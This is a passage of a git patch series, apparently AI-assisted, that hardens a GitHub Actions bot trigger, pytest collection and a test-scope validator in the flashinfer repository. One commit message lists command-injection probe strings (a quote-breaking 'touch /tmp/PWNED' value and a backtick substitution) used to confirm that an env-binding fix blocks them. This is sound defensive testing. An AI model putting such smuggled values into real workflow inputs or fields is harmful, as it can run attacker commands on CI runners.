`pytest tests/` out of the directory, no shard named it, and the only lane that would have picked it up was the unreachable targeted branch fixed in the previous commit. ~200 lines of CPU-only coverage for the primitives this PR introduces were dead. Name the directory explicitly in the smallest shard. These belong in the stable lane rather than the targeted one because they cover the gating machinery itself -- @flashinfer_experimental_api and @experimental_backend live in flashinfer/api_logging.py and flashinfer/utils.py, which are stable core, and a regression there breaks stable dispatch. Tests of experimental *backends* still belong to the targeted lane only. Explicit paths collect despite norecursedirs; verified against the pattern in pytest.ini. AI-assisted (Claude Code). Co-Authored-By: Claude Opus 5 --- scripts/task_jit_run_tests_part5.sh | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/scripts/task_jit_run_tests_part5.sh b/scripts/task_jit_run_tests_part5.sh index c3b17a88285..0b88ec28e84 100755 --- a/scripts/task_jit_run_tests_part5.sh +++ b/scripts/task_jit_run_tests_part5.sh @@ -19,3 +19,12 @@ pytest -s tests/cli/test_cli_cmds.py pytest -s tests/cli/test_cli_cmds_gpu.py pytest -s tests/moe/test_bgmv_moe.py pytest -s tests/moe/test_bgmv_moe_lora_delta.py + +# tests/experimental/ is excluded from `pytest tests/` by norecursedirs, so it has +# to be named explicitly. Listed here, and not left to the targeted lane, because +# these cover the gating machinery itself -- @flashinfer_experimental_api and +# @experimental_backend live in flashinfer/api_logging.py and flashinfer/utils.py, +# which are stable core. A regression there breaks stable dispatch, so it must fail +# the stable lane rather than wait for someone to type a bot command. Tests of +# experimental *backends* stay with the targeted lane. +pytest -s tests/experimental/ From ac34539a15d7ccb2568df4a93f18c2c71e45cf07 Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Thu, 3 Sep 2026 22:06:59 -0600 Subject: [PATCH 21/41] test(ci): run the scope validator selftest in pre-commit experimental_test_scope.py is the security boundary for `@flashinfer-bot run `: its charset check is what keeps comment text from reaching a shell as anything other than a test path. The selftest covering exactly that -- metacharacters, command substitution, backticks, traversal, smuggled pytest flags -- shipped with no way to run it automatically. Add a local pre-commit hook scoped to the script, so it runs on change and under `pre-commit run -a` in CI. The script imports nothing outside the stdlib, so `language: system` needs no environment. Confirmed the hook is not vacuous: loosening TARGET_RE to `^.*$` fails it with four rejected-payload cases, and it passes as-is. AI-assisted (Claude Code). Co-Authored-By: Claude Opus 5 --- .pre-commit-config.yaml | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 32b90c1eb45..7c5b7bb9390 100755 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -74,3 +74,18 @@ repos: # Run the formatter. - id: ruff-format types_or: [ python, pyi ] + + - repo: local + hooks: + # The scope validator is the security boundary for `@flashinfer-bot run + # `: its charset check is what keeps comment text from reaching a + # shell as anything other than a test path. Its selftest covers exactly + # that (metacharacters, command substitution, traversal, smuggled pytest + # flags), so it runs whenever the script changes. No third-party imports, + # so it needs no environment. + - id: experimental-test-scope-selftest + name: experimental test scope selftest + entry: python3 scripts/pr_checks/experimental_test_scope.py --selftest + language: system + pass_filenames: false + files: ^scripts/pr_checks/experimental_test_scope\.py$ From aaed306055a25489300727fc56cac1f86128110c Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Thu, 3 Sep 2026 22:08:40 -0600 Subject: [PATCH 22/41] fix(utils): clear dropped_experimental_backends before the early return suitable_auto_backends returns early when common_check fails, before the assignment that records which experimental backends were filtered out of automatic selection. The "no suitable auto backends" hint then read the previous call's value, so a failure caused entirely by the common check was reported as: ... (experimental backend(s) ['risky'] were excluded from automatic selection; set FLASHINFER_ALLOW_EXPERIMENTAL_AUTO_BACKENDS=1 ...) pointing the user at an environment variable that cannot help, and hiding the real cause. Clear the attribute on entry so every path reports its own result. Adds a regression test that drives exactly this sequence: one call that populates the dropped list, then one where the common check fails, and asserts the environment variable is absent from the message. AI-assisted (Claude Code). Co-Authored-By: Claude Opus 5 --- flashinfer/utils.py | 6 +++ tests/experimental/test_experimental_api.py | 43 +++++++++++++++++++++ 2 files changed, 49 insertions(+) diff --git a/flashinfer/utils.py b/flashinfer/utils.py index c3e2f55f51d..2d2ad6c577c 100644 --- a/flashinfer/utils.py +++ b/flashinfer/utils.py @@ -1424,6 +1424,12 @@ def has_backend(backend: str) -> bool: return backend in backend_checks def suitable_auto_backends(cc, *args, **kwargs): + # Cleared up front rather than only on the path that computes it: the + # "no suitable auto backends" hint reads this attribute after a failed + # call, and the common_check early return below would otherwise leave + # the previous call's value in place -- reporting a problem-size + # failure as an experimental-backend exclusion. + wrapper.dropped_experimental_backends = [] if common_check is not None and not common_check(*args, **kwargs): return False suitable_backends = [] diff --git a/tests/experimental/test_experimental_api.py b/tests/experimental/test_experimental_api.py index 51cc49a22a6..a8d6f1ce378 100644 --- a/tests/experimental/test_experimental_api.py +++ b/tests/experimental/test_experimental_api.py @@ -206,6 +206,49 @@ def test_auto_with_only_experimental_candidates_hints_at_env_var(): api(1) +def test_common_check_failure_does_not_reuse_a_stale_experimental_hint(): + """A common_check failure must not inherit the previous call's dropped list. + + suitable_auto_backends returns early when the common check fails, so the + attribute the hint reads has to be cleared before that return -- otherwise a + problem-size failure is reported as an experimental-backend exclusion and + points the user at an environment variable that will not help. + """ + allowed = {"value": True} + + def _common(x, backend="auto"): + return allowed["value"] + + @_any_cc + def _check_stable(x, backend="auto"): + return True + + @experimental_backend + @_any_cc + def _check_risky(x, backend="auto"): + return True + + @backend_requirement( + {"stable": _check_stable, "risky": _check_risky}, + common_check=_common, + heuristic_func=lambda backends, *args, **kwargs: list(backends), + ) + def api(x, backend="auto"): + return api.suitable_auto_backends[0] if backend == "auto" else backend + + # First call succeeds and records "risky" as dropped from automatic selection. + assert api(1) == "stable" + assert api.dropped_experimental_backends == ["risky"] + + # Now the common check is what fails. The experimental gate is irrelevant to + # that, so the hint must not appear. + allowed["value"] = False + with pytest.raises(BackendSupportedError) as excinfo: + api(1) + assert _EXPERIMENTAL_AUTO_ENV_VAR not in str(excinfo.value) + assert api.dropped_experimental_backends == [] + + def test_explicit_experimental_backend_needs_no_env_var_and_warns_once(): api = _make_api() with pytest.warns(ExperimentalWarning, match="risky.*selected for 'api'"): From ca7af41463f7313cb7e8e596299d6e091248ae99 Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Thu, 3 Sep 2026 22:09:20 -0600 Subject: [PATCH 23/41] test: reset the experimental warning registry in test_decorators _WARNED_EXPERIMENTAL_BACKENDS is module state that outlives a test, and warn_experimental_backend_once is a no-op once a pair is in it. The new test's pytest.warns therefore depended on ("my_kernel", "risky") never having been warned before -- true on a single collection, false the second time the module runs in one process (pytest-repeat, --count, or any rerun plugin), where it would fail with DID NOT WARN. Reset it via monkeypatch, matching the autouse fixture already used in tests/experimental/test_experimental_api.py. AI-assisted (Claude Code). Co-Authored-By: Claude Opus 5 --- tests/utils/test_decorators.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/tests/utils/test_decorators.py b/tests/utils/test_decorators.py index 9e99089145f..1c9ed8b11dc 100644 --- a/tests/utils/test_decorators.py +++ b/tests/utils/test_decorators.py @@ -1,6 +1,7 @@ import pytest import torch +import flashinfer.api_logging as api_logging from flashinfer.utils import ( supported_compute_capability, backend_requirement, @@ -499,6 +500,10 @@ def my_kernel(x, backend="cudnn"): def test_experimental_backend_excluded_from_auto_unless_allowed(monkeypatch): """@experimental_backend checkers stay out of backend="auto" without the opt-in.""" monkeypatch.delenv("FLASHINFER_ALLOW_EXPERIMENTAL_AUTO_BACKENDS", raising=False) + # The once-per-(api, backend) registry is module state that outlives a test. + # pytest.warns below needs the pair unseen, so start from an empty set rather + # than depending on this module never being collected twice in one process. + monkeypatch.setattr(api_logging, "_WARNED_EXPERIMENTAL_BACKENDS", set()) def _check_stable(x, backend="auto"): return True From 5312e6029f7bb6709ee703fdfc2aff5e56f07296 Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Thu, 3 Sep 2026 22:11:02 -0600 Subject: [PATCH 24/41] fix(pytest): anchor the experimental norecursedirs pattern `norecursedirs = ... experimental` is a basename pattern: it matches a directory of that name anywhere under the rootdir, not just the intended tests/experimental/. flashinfer already has a second one at flashinfer/gdn_kernels/experimental, so the pattern was broader than its comment claimed and a future tests//experimental/ would have been dropped from collection silently. Anchor it to the path. Verified against pytest: `pytest tests/` still skips tests/experimental/ while now collecting tests//experimental/, and an explicit `pytest tests/experimental/` still collects. AI-assisted (Claude Code). Co-Authored-By: Claude Opus 5 --- pytest.ini | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/pytest.ini b/pytest.ini index 2d7fdc5a866..a16634c17ce 100644 --- a/pytest.ini +++ b/pytest.ini @@ -1,5 +1,9 @@ [pytest] -# `experimental` keeps `pytest tests/` (stable lanes) from recursing into -# tests/experimental/; an explicit `pytest tests/experimental/` still collects it. -norecursedirs = test_helpers experimental +# `tests/experimental` keeps `pytest tests/` (stable lanes) from recursing into +# the experimental tree; an explicit `pytest tests/experimental/` still collects +# it. Path-anchored rather than the bare basename `experimental`, which matches a +# directory of that name anywhere -- flashinfer already has one at +# flashinfer/gdn_kernels/experimental, so a future tests//experimental/ +# would have been skipped without a word. +norecursedirs = test_helpers tests/experimental addopts = --import-mode=importlib From 776acac8dfade0c1bcdccdac3338ce6ae46c1c88 Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Thu, 3 Sep 2026 22:11:22 -0600 Subject: [PATCH 25/41] docs: make the experimental AOT policy consistent Three documents stated the rule three ways. The README allowed maintainer-approved exceptions, while flashinfer/experimental/CLAUDE.md ("Never register experimental modules in flashinfer/aot.py", and "Prohibited" in its checklist) and CONTRIBUTING.md ("no registration in flashinfer/aot.py") allowed none. Resolved toward the strict reading, which the other two documents already state and which matches the stated rationale: keeping experimental kernels out of pre-built packages is the guarantee the rule exists to make, and a graduating feature registers for AOT as part of graduation. This is a policy call rather than a defect -- trivially flipped the other way by softening the two strict statements instead, if the escape hatch was deliberate. AI-assisted (Claude Code). Co-Authored-By: Claude Opus 5 --- flashinfer/experimental/README.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/flashinfer/experimental/README.md b/flashinfer/experimental/README.md index 0d81c2212a6..be0b28ee48b 100644 --- a/flashinfer/experimental/README.md +++ b/flashinfer/experimental/README.md @@ -286,8 +286,9 @@ Relative to the "Adding a New Operation" checklist in the root `CLAUDE.md`: experimental APIs (needed for graduation). - **AOT registration** (`flashinfer/aot.py`) is **prohibited**: experimental features are JIT-only so they never ship in `flashinfer-jit-cache` / - `flashinfer-cubin` pre-built packages. Exceptions require maintainer - approval. + `flashinfer-cubin` pre-built packages. There is no exception -- shipping an + experimental kernel in a pre-built package is what the rule exists to + prevent, and a graduating feature registers for AOT as part of graduation. - Top-level export from `flashinfer/__init__.py` is optional and, if added, must be lazy (no eager import of `flashinfer.experimental`). From 8bc4c43c8519eb6235e752a5a237a98adba13ca0 Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Thu, 3 Sep 2026 22:55:15 -0600 Subject: [PATCH 26/41] fix(ci): pass the targeted scope as --test-path, not bare positionals The targeted lanes invoked task_run_unit_tests.sh with bare paths. That script forwards "$@" to unit_test_runner.py, whose parser exposes the scope as an OPTION (--test-path, nargs="+") or the TEST_PATH environment variable -- it has no positional for it. Bare paths therefore die in argument-preflight before any test runs: $ python3 scripts/unit_test_runner.py __shell-settings tests/experimental/x.py unit_test_runner.py: error: unrecognized arguments: tests/experimental/x.py $ python3 scripts/unit_test_runner.py __shell-settings --test-path tests/experimental/x.py run tests/experimental/x.py This was latent while the lanes were unreachable; making them reachable exposed it. The in-repo comment claiming the script "forwards $@ into TEST_PATH" describes the intent, not the mechanism -- corrected at the call site. Uses --test-path rather than the TEST_PATH env var because ci/bash.sh does not forward that variable into the container, and the option keeps the existing quoted-array expansion intact. AI-assisted (Claude Code). Co-Authored-By: Claude Opus 5 --- .github/workflows/pr-test.yml | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/.github/workflows/pr-test.yml b/.github/workflows/pr-test.yml index 6f0ca93c31c..8daa0d826e8 100644 --- a/.github/workflows/pr-test.yml +++ b/.github/workflows/pr-test.yml @@ -441,7 +441,11 @@ jobs: set -f read -r -a TEST_TARGETS <<< "${TEST_PATH_ARG}" set +f - bash ci/bash.sh "${DOCKER_IMAGE}" "./scripts/${TEST_SCRIPT}" "${TEST_TARGETS[@]}" + # --test-path, not bare positionals: task_run_unit_tests.sh forwards "$@" + # to unit_test_runner.py, whose parser takes the scope as an option (or the + # TEST_PATH env var, which ci/bash.sh does not forward into the container). + # Bare paths fail argument-preflight with "unrecognized arguments". + bash ci/bash.sh "${DOCKER_IMAGE}" "./scripts/${TEST_SCRIPT}" --test-path "${TEST_TARGETS[@]}" else bash ci/bash.sh "${DOCKER_IMAGE}" "./scripts/${TEST_SCRIPT}" fi From 0be85f7820ae9435b424f0a09e60f012e622b46f Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Thu, 3 Sep 2026 23:04:20 -0600 Subject: [PATCH 27/41] fix(ci): an unparseable scope falls back to the full suite, not to no CI Binding COMMENT_BODY made the scope parser live for the first time, and the handler exited 1 on a rejected scope *before* applying the run-ci label. So the repo's primary CI trigger started failing closed: any comment with trailing text ran nothing at all. Replaying the workflow's own sed + validator over realistic bodies, before this commit: @flashinfer-bot run OK (full suite) @flashinfer-bot run tests/experimental/test_x.py OK (scoped) @flashinfer-bot run please REJECTED -> no label -> no CI @flashinfer-bot run thanks! REJECTED -> no label -> no CI @flashinfer-bot run tests/gemm/test_x.py -k fp8 REJECTED -> no label -> no CI @flashinfer-bot run `tests/gemm/test_x.py` REJECTED -> no label -> no CI @flashinfer-bot run tests/experimental/ (thanks!) REJECTED -> no label -> no CI Five of seven realistic forms killed CI, and the only feedback would be a red bot job on a PR whose test checks never appear at all. Scoping is an enhancement over a trigger that predates it, so it degrades rather than gates: an unparseable scope publishes an empty scope (full suite), posts a note saying the text was ignored, and still labels. After this commit all seven forms apply the label; valid scopes still chunk exactly as before, and a shell-metacharacter payload is still refused a scope -- it just gets the full suite instead of blocking CI. AI-assisted (Claude Code). Co-Authored-By: Claude Opus 5 --- .github/workflows/ci-bot-commands.yml | 17 ++++++++++++----- 1 file changed, 12 insertions(+), 5 deletions(-) diff --git a/.github/workflows/ci-bot-commands.yml b/.github/workflows/ci-bot-commands.yml index 9b1a8a3625a..8e1726b7ae8 100644 --- a/.github/workflows/ci-bot-commands.yml +++ b/.github/workflows/ci-bot-commands.yml @@ -149,16 +149,23 @@ jobs: # deliberately does not check out -- it holds a write token, so the validator # it runs must be the trusted copy from the base branch. Whoever issues the # trigger can check existence up front, and pytest errors on a missing path. - if ! SCOPE=$(python3 scripts/pr_checks/experimental_test_scope.py \ + # + # An unparseable scope degrades to the full suite; it never withholds CI. + # `@flashinfer-bot run` is this repo's primary CI trigger and predates + # scoping, so trailing prose ("run please", "run thanks!"), a -k selector, + # or a backticked path must still start the full suite the way it always + # did. Failing closed here would turn the trigger into a no-op and the + # only signal would be a red bot job on a PR with no test checks at all. + if SCOPE=$(python3 scripts/pr_checks/experimental_test_scope.py \ --targets "$ARGS" --root tests/ --no-check-exists --test-path \ 2>/tmp/scope_err); then + mapfile -t CHUNKS < <(python3 scripts/pr_checks/experimental_test_scope.py \ + --targets "$SCOPE" --root tests/ --no-check-exists --chunk 140) + else gh pr comment ${{ github.event.issue.number }} \ --repo ${{ github.repository }} \ - --body "Requested test scope rejected: $(cat /tmp/scope_err)" - exit 1 + --body "Ignoring the text after \`@flashinfer-bot run\` and running the full suite -- it is not a valid test scope: $(cat /tmp/scope_err)" fi - mapfile -t CHUNKS < <(python3 scripts/pr_checks/experimental_test_scope.py \ - --targets "$SCOPE" --root tests/ --no-check-exists --chunk 140) fi # There is no DELETE for statuses, but re-posting a context supersedes it, so From 5e4dd0bf7cc4cccbf342f27016fc9702fa8480a2 Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Thu, 3 Sep 2026 23:04:59 -0600 Subject: [PATCH 28/41] test(ci): name the experimental test file, not the whole directory `pytest -s tests/experimental/` contradicted the policy stated two lines above it. A directory argument collects every current and future file, so the next PR adding tests/experimental/test_.py would silently enrol it in the stable A10G shard -- on hardware that backend may not target, against a timeout this shard never budgeted for, and bypassing the per-PR declared scope the PR template calls the point of the experimental lane. A stable-lane red from an unrelated experimental feature would then block every PR in the repo. Name the one file that actually covers the stable-core gating machinery. Backend tests stay with the targeted lane, which is what the comment claimed all along. AI-assisted (Claude Code). Co-Authored-By: Claude Opus 5 --- scripts/task_jit_run_tests_part5.sh | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) diff --git a/scripts/task_jit_run_tests_part5.sh b/scripts/task_jit_run_tests_part5.sh index 0b88ec28e84..1d820825bb8 100755 --- a/scripts/task_jit_run_tests_part5.sh +++ b/scripts/task_jit_run_tests_part5.sh @@ -21,10 +21,13 @@ pytest -s tests/moe/test_bgmv_moe.py pytest -s tests/moe/test_bgmv_moe_lora_delta.py # tests/experimental/ is excluded from `pytest tests/` by norecursedirs, so it has -# to be named explicitly. Listed here, and not left to the targeted lane, because -# these cover the gating machinery itself -- @flashinfer_experimental_api and -# @experimental_backend live in flashinfer/api_logging.py and flashinfer/utils.py, -# which are stable core. A regression there breaks stable dispatch, so it must fail -# the stable lane rather than wait for someone to type a bot command. Tests of -# experimental *backends* stay with the targeted lane. -pytest -s tests/experimental/ +# to be named explicitly. This ONE FILE, not the directory: it covers the gating +# machinery itself -- @flashinfer_experimental_api and @experimental_backend live in +# flashinfer/api_logging.py and flashinfer/utils.py, which are stable core, so a +# regression there breaks stable dispatch and must fail the stable lane rather than +# wait for someone to type a bot command. Naming the directory instead would enrol +# every future tests/experimental/test_.py into this shard automatically -- +# on hardware the backend may not target, against a timeout this shard never budgeted +# for, and bypassing the per-PR declared scope that is the point of the experimental +# lane. Backend tests stay with the targeted lane. +pytest -s tests/experimental/test_experimental_api.py From 2e3083fb45311f4451446b500cb97ce415cb48f6 Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Thu, 3 Sep 2026 23:14:49 -0600 Subject: [PATCH 29/41] fix(ci): cap the requested scope at the runner's MAX_TEST_PATHS scripts/test_sharding/runner.py caps a scope at 16 unique paths and raises RunnerStateError past that. The scope validator had no such limit, so a 17-path request passed argument preflight, claimed three GPU runners, and then failed inside a sharding internal -- an unactionable error, arriving long after the comment that caused it and costing runner startup. Mirror the cap in validate(), counted after de-duplication the way the runner counts it, so the bot answers the comment instead: $ ... --targets "<17 paths>" --root tests/ experimental test scope: too many targets (17); maximum is 16 exit=1 16 is still accepted. Selftest covers at-cap, over-cap, and that duplicates do not count toward it -- and that selftest now runs in pre-commit. Note this composes with the fail-open change: an over-cap request degrades to the full suite with a note rather than blocking CI, which is a superset of what was asked for. AI-assisted (Claude Code). Co-Authored-By: Claude Opus 5 --- scripts/pr_checks/experimental_test_scope.py | 33 ++++++++++++++++++++ 1 file changed, 33 insertions(+) diff --git a/scripts/pr_checks/experimental_test_scope.py b/scripts/pr_checks/experimental_test_scope.py index f7f7c8b5f7e..fff623df81b 100755 --- a/scripts/pr_checks/experimental_test_scope.py +++ b/scripts/pr_checks/experimental_test_scope.py @@ -52,6 +52,12 @@ ) ROOT = "tests/experimental/" +# Mirrors MAX_TEST_PATHS in scripts/test_sharding/runner.py. The runner raises +# RunnerStateError deep inside sharding once the scope exceeds this, which surfaces +# as three red GPU lanes and an error from an internal, long after the comment that +# caused it. Rejecting here turns that into an actionable answer on the comment. +MAX_TARGETS = 16 + # A target is a path, optionally with a ``::selector`` suffix. Anything outside this # charset is rejected outright rather than reasoned about: the value reaches a shell, # and "starts with tests/experimental/ and has no .." accepts @@ -109,6 +115,14 @@ def validate(targets: list[str], root: str = ROOT) -> list[str]: ] if bad: raise ValueError(f"targets outside {root}: {', '.join(bad)}") + # Counted after de-duplication, matching how the runner counts. + unique = len(set(targets)) + if unique > MAX_TARGETS: + raise ValueError( + f"too many targets ({unique}); maximum is {MAX_TARGETS} " + f"(scripts/test_sharding/runner.py enforces the same cap, but only " + f"after the lanes have started)" + ) return targets @@ -229,6 +243,25 @@ def _selftest() -> int: except ValueError: pass + # The target cap mirrors the runner's, so the bot answers instead of the sharder. + try: + validate([f"{ROOT}test_{i}.py" for i in range(MAX_TARGETS)], ROOT) + except ValueError as e: + print(f"FAIL (at-cap rejected): {e}", file=sys.stderr) + failures += 1 + try: + validate([f"{ROOT}test_{i}.py" for i in range(MAX_TARGETS + 1)], ROOT) + print("FAIL (over-cap accepted)", file=sys.stderr) + failures += 1 + except ValueError: + pass + # Duplicates do not count toward the cap, matching the runner. + try: + validate([f"{ROOT}dup.py"] * (MAX_TARGETS + 5), ROOT) + except ValueError as e: + print(f"FAIL (duplicates counted toward cap): {e}", file=sys.stderr) + failures += 1 + # Chunking: split on target boundaries, never mid-path, and round-trip exactly. long_targets = [f"tests/experimental/test_{c}_{'x' * 40}.py" for c in "abcde"] cs = chunk(long_targets, 140) From f6712cfd5f3b195f2b9126b688f9288890be0c99 Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Thu, 3 Sep 2026 23:16:24 -0600 Subject: [PATCH 30/41] fix(ci): say on the required check when a green run was scoped A ci/test-scope-N status is sticky per head SHA and nothing but another bot comment clears it. Re-applying run-ci by hand on a commit that once had a scoped bot run silently reuses that scope, so "Test Results Summary" -- a required check, and the one a merge decision reads -- can go green having run three narrow lanes. The job names do change from "JIT Unittest" to "Targeted Unittest", but that is easy to miss on a check list. That is the same false-green class this PR set out to fix, approached from the other side: the earlier bug reported green after running nothing, this one reports green after running a fraction. Expose the resolved scope as a setup job output and state it on the summary when non-empty. Verified the required check's exit semantics are untouched by extracting Check Results and running it both ways: scope= test_result=success exit=0 scope= test_result=failure exit=1 scope= test_result=skipped exit=0 scope=tests/.../test_x.py test_result=success exit=0 scope=tests/.../test_x.py test_result=failure exit=1 scope=tests/.../test_x.py test_result=skipped exit=0 The banner renders only when a scope is active. This is a visibility mitigation, not a cure -- the status remains sticky by design. AI-assisted (Claude Code). Co-Authored-By: Claude Opus 5 --- .github/workflows/pr-test.yml | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/.github/workflows/pr-test.yml b/.github/workflows/pr-test.yml index 8daa0d826e8..8874ab9ec63 100644 --- a/.github/workflows/pr-test.yml +++ b/.github/workflows/pr-test.yml @@ -101,6 +101,8 @@ jobs: skip_build: ${{ steps.check.outputs.skip }} test_matrix: ${{ steps.matrix.outputs.matrix }} test_count: ${{ steps.matrix.outputs.count }} + # Surfaced so the required check can say a green result was scoped. + test_scope: ${{ steps.scope.outputs.test_path }} steps: - uses: actions/checkout@v5 with: @@ -638,6 +640,19 @@ jobs: echo "Tests: ${{ needs.setup.outputs.test_count }}, result: $RESULT" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY + # A scope is sticky per SHA: re-applying run-ci by hand on a commit that + # once had a scoped bot run silently reuses it, so this required check can + # go green having run three narrow lanes. The job names change from "JIT + # Unittest" to "Targeted Unittest", but that is easy to miss on a check + # list -- say it outright on the check a merge decision actually reads. + SCOPE="${{ needs.setup.outputs.test_scope }}" + if [ -n "$SCOPE" ]; then + echo "> **Scoped run — NOT the full suite.**" >> $GITHUB_STEP_SUMMARY + echo "> Tested only: \`$SCOPE\`" >> $GITHUB_STEP_SUMMARY + echo "> Comment \`@flashinfer-bot run\` with no paths for full coverage." >> $GITHUB_STEP_SUMMARY + echo "" >> $GITHUB_STEP_SUMMARY + fi + if [ "$RESULT" == "success" ] || [ "$RESULT" == "skipped" ]; then echo "Result: Tests Passed" >> $GITHUB_STEP_SUMMARY exit 0 From 8316c5af3fe13ffc4c1c61ffe3f91043e47fe36e Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Fri, 4 Sep 2026 00:19:06 -0600 Subject: [PATCH 31/41] test(ci): make the scope-cap selftest assert the coupling, not itself The cap cases I added in 2e3083fb were written as range(MAX_TARGETS) and range(MAX_TARGETS + 1) -- self-referential to the constant under test. They therefore pass at ANY value, including a drifted one: $ sed -i 's/MAX_TARGETS = 16/MAX_TARGETS = 999/' experimental_test_scope.py $ python3 experimental_test_scope.py --selftest selftest: all cases pass # <- vacuous They verified "some cap is enforced", never "the cap equals the runner's", which is the only property that matters: if the two drift, an over-cap scope sails through validation and dies inside sharding -- exactly the failure 2e3083fb set out to prevent. My commit message for it overclaimed. Assert the coupling directly against scripts/test_sharding/runner.py, by reading the literal rather than importing (the runner drags in dependencies this script deliberately does not have). Now non-vacuous in both directions: MAX_TARGETS 16 -> 999: FAIL (cap drifted: ... the runner enforces 16) runner's 16 -> 8: FAIL (cap drifted: ... the runner enforces 8) unmodified: selftest: all cases pass The bounds cases are kept, retitled to say what they actually cover. AI-assisted (Claude Code). Co-Authored-By: Claude Opus 5 --- scripts/pr_checks/experimental_test_scope.py | 30 +++++++++++++++++++- 1 file changed, 29 insertions(+), 1 deletion(-) diff --git a/scripts/pr_checks/experimental_test_scope.py b/scripts/pr_checks/experimental_test_scope.py index fff623df81b..57cfd472be2 100755 --- a/scripts/pr_checks/experimental_test_scope.py +++ b/scripts/pr_checks/experimental_test_scope.py @@ -243,7 +243,35 @@ def _selftest() -> int: except ValueError: pass - # The target cap mirrors the runner's, so the bot answers instead of the sharder. + # The cap's whole point is that it EQUALS the runner's, so assert the coupling + # against the runner's source. Bounds cases written in terms of MAX_TARGETS are + # self-referential -- they pass at any value, including a drifted one -- so they + # cannot catch the only failure that matters here. Read the literal rather than + # importing, which would drag in the runner's dependencies. + runner_src = ( + pathlib.Path(__file__).resolve().parents[1] / "test_sharding" / "runner.py" + ) + if not runner_src.is_file(): + print( + f"FAIL (cannot check cap coupling: {runner_src} missing)", file=sys.stderr + ) + failures += 1 + else: + m = re.search( + r"^MAX_TEST_PATHS\s*=\s*(\d+)", runner_src.read_text(), re.MULTILINE + ) + if m is None: + print("FAIL (MAX_TEST_PATHS not found in runner.py)", file=sys.stderr) + failures += 1 + elif int(m.group(1)) != MAX_TARGETS: + print( + f"FAIL (cap drifted: MAX_TARGETS={MAX_TARGETS} but the runner enforces " + f"{m.group(1)}; a scope this accepts would die inside sharding)", + file=sys.stderr, + ) + failures += 1 + + # Bounds behaviour, relative to whatever the (now-pinned) constant is. try: validate([f"{ROOT}test_{i}.py" for i in range(MAX_TARGETS)], ROOT) except ValueError as e: From f1b0b2d021e73843eb95bcd8bfa94e29812522e0 Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Fri, 4 Sep 2026 00:21:02 -0600 Subject: [PATCH 32/41] fix(ci): bind the scope via env in Check Results, not string interpolation SCOPE="${{ needs.setup.outputs.test_scope }}" is substituted by GitHub into the script text before bash parses it, so the value was code, not data. It is safe today only because TARGET_RE excludes quotes and backticks -- a guarantee that lives in scripts/pr_checks/experimental_test_scope.py, one file and one workflow away, and that nothing here restates. The value also originates from a commit status description, which anything holding statuses:write can set. That is the same pattern rejected for COMMENT_BODY in aa43b391; make this one match. Bound through env:, the value reaches the shell as data and the script body now contains zero GitHub expressions. Verified against hostile values that would have injected under the old form: scope= exit=0 no injection scope=tests/a.py exit=0 no injection scope="; touch /tmp/PWNED; ech exit=0 no injection scope=`touch /tmp/PWNED2` exit=0 no injection Scope of the change on a normal unscoped run remains two executed lines -- an empty assignment and a false test -- with summary bytes and exit codes identical to before. AI-assisted (Claude Code). Co-Authored-By: Claude Opus 5 --- .github/workflows/pr-test.yml | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/.github/workflows/pr-test.yml b/.github/workflows/pr-test.yml index 8874ab9ec63..3d391f3549e 100644 --- a/.github/workflows/pr-test.yml +++ b/.github/workflows/pr-test.yml @@ -615,6 +615,12 @@ jobs: - name: Check Results if: needs.gate.outputs.authorized == 'true' + env: + # Bound, not interpolated into the script body. The value originates from a + # commit status description, which anything holding statuses:write can set; + # TARGET_RE happens to exclude quotes and backticks, but that guarantee lives + # in another file and must not be what keeps this step from being injectable. + TEST_SCOPE: ${{ needs.setup.outputs.test_scope }} run: | echo "## Test Results Summary" >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY @@ -645,10 +651,9 @@ jobs: # go green having run three narrow lanes. The job names change from "JIT # Unittest" to "Targeted Unittest", but that is easy to miss on a check # list -- say it outright on the check a merge decision actually reads. - SCOPE="${{ needs.setup.outputs.test_scope }}" - if [ -n "$SCOPE" ]; then + if [ -n "${TEST_SCOPE:-}" ]; then echo "> **Scoped run — NOT the full suite.**" >> $GITHUB_STEP_SUMMARY - echo "> Tested only: \`$SCOPE\`" >> $GITHUB_STEP_SUMMARY + echo "> Tested only: \`${TEST_SCOPE}\`" >> $GITHUB_STEP_SUMMARY echo "> Comment \`@flashinfer-bot run\` with no paths for full coverage." >> $GITHUB_STEP_SUMMARY echo "" >> $GITHUB_STEP_SUMMARY fi From eec434e6a5254dfa9799babe6590afdbe1ea7152 Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Fri, 4 Sep 2026 00:35:16 -0600 Subject: [PATCH 33/41] fix(ci): stop the rejection comment from re-triggering the bot The fallback comment added in 0be85f78 quoted the bot's own trigger phrase. The job guard is contains(comment.body, '@flashinfer-bot') with NO bot-author exclusion, and the comment is posted with FLASHINFER_BOT_TOKEN -- a PAT. GitHub only suppresses re-triggering for GITHUB_TOKEN, so the bot answered itself: 1. "@flashinfer-bot run please" -> scope rejected, fallback comment 2. fallback contains the phrase -> guard fires, command=run 3. sed extracts no scope from it -> re-applies run-ci 4. a second full GPU run starts, for nothing Not infinite -- step 3 yields empty ARGS (a backtick follows "run", so the whitespace class does not match), so no further comment is posted and it settles after one extra cycle. 